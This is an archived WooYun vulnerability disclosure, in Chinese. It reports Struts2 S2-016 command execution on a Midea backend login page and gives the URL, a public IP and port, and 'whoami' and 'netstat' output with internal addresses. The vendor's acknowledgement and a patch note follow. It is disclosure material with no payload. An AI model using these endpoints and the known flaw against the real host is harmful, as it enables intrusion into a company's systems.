乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-30: 细节已通知厂商并且等待厂商处理中 2015-06-30: 厂商已经确认,细节仅向厂商公开 2015-07-10: 细节向核心白帽子及相关领域专家公开 2015-07-20: 细节向普通白帽子公开 2015-07-30: 细节向实习白帽子公开 2015-08-14: 细节向公众公开
命令执行
首先访问这个后台系统 http://rddp.midea.com.cn:9083/rtssh/LoginAction.action然后看下下面的网通入口,存在strtus 016http://58.252.101.42:9083/rtssh/LoginAction.action
Whoami: rdrtsnetstat -an====================================================================================================================================Active Internet connections (including servers)Proto Recv-Q Send-Q Local Address Foreign Address (state)tcp4 0 0 *.* *.* CLOSEDtcp4 0 0 *.13 *.* LISTENtcp 0 0 *.21 *.* LISTENtcp 0 0 *.23 *.* LISTENtcp4 0 0 *.25 *.* LISTENtcp4 0 0 *.37 *.* LISTENtcp4 182 0 172.16.16.146.80 10.242.255.31.4007 ESTABLISHEDtcp 0 0 *.80 *.* LISTENtcp4 0 0 *.111 *.* LISTENtcp 0 0 *.199 *.* LISTENtcp6 0 0 ::1.49191 ::1.49192 CLOSE_WAITtcp4 0 0 172.16.16.146.1334 115.239.230.218.1429 ESTABLISHEDtcp 0 0 *.443 *.* LISTENtcp 0 0 *.512 *.* LISTENtcp 0 0 *.513 *.* LISTENtcp 0 0 *.514 *.* LISTENtcp4 184 0 172.16.16.146.80 10.43.1.68.4177 CLOSE_WAITtcp 0 0 *.657 *.* LISTENtcp6 0 0 ::1.49405 ::1.49406 CLOSE_WAITtcp4 182 0 172.16.16.146.80 10.166.253.17.62127 ESTABLISHEDtcp4 182 0 172.16.16.146.80 10.41.241.48.1056 ESTABLISHEDtcp 0 0 172.16.16.146.9001 *.* LISTENtcp 0 0 172.16.16.146.9002 *.* LISTENtcp4 182 0 172.16.16.146.80 10.41.241.48.1093 ESTABLISHEDtcp4 0 0 *.1334 *.* LISTENtcp 0 0 172.16.16.146.9081 *.* LISTENtcp 0 0 172.16.16.146.9082 *.* LISTENtcp 0 0 172.16.16.146.9083 *.* LISTENtcp4 182 0 172.16.16.146.80 10.41.241.37.1205 CLOSE_WAITtcp4 182 0 172.16.16.146.80 10.41.241.176.1126 CLOSE_WAITtcp4 0 0 172.16.16.146.64211 172.16.14.54.873 ESTABLISHEDtcp4 184 0 172.16.16.146.80 10.43.1.68.5361 CLOSE_WAITtcp4 182 0 172.16.16.146.80 10.41.241.176.1850 CLOSE_WAIT
上补丁
危害等级:低
漏洞Rank:5
确认时间:2015-06-30 19:03
感谢@fuzz-ing的提醒,我们目前正在确认。
暂无